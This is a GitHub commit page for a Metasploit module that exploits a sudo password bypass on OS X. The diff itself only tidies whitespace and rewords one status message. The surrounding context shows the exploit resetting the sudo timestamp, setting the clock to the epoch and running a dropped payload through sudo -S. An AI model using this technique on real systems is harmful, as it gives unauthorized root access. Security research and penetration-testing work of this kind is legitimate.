Skip to content

Commit

Permalink
Polishing module. Tested on 10.8, 10.8.2, and 10.8.4.
Browse files Browse the repository at this point in the history
  • Loading branch information
jvennix-r7 committed Aug 24, 2013
1 parent d44a33c commit 0e11673
Showing 1 changed file with 1 addition and 3 deletions.
4 changes: 1 addition & 3 deletions modules/exploits/osx/local/sudo_password_bypass.rb
Original file line number Diff line number Diff line change
Expand Up @@ -166,7 +166,6 @@ def on_new_session(session)
private

def run_sudo_cmd

print_status("Resetting user's time stamp file and setting clock to the epoch")
cmd_exec(
"sudo -k; \n"+
Expand All @@ -178,7 +177,7 @@ def run_sudo_cmd
test = rand_text_alpha(4 + rand(4))
sudo_cmd_test = ['sudo', '-S', ["echo #{test}"].shelljoin].join(' ')

print_status("Executing test...")
print_status("Testing that user has sudoed before...")
output = cmd_exec('echo "" | ' + sudo_cmd_test)

if output =~ /incorrect password attempts\s*$/i
Expand All @@ -189,7 +188,6 @@ def run_sudo_cmd
print_error("Unknown fail while testing, trying to execute the payload anyway...")
end


# Run Payload
sudo_cmd_raw = if using_native_target?
['sudo', '-S', [drop_path].shelljoin].join(' ')
Expand Down

0 comments on commit 0e11673

Please sign in to comment.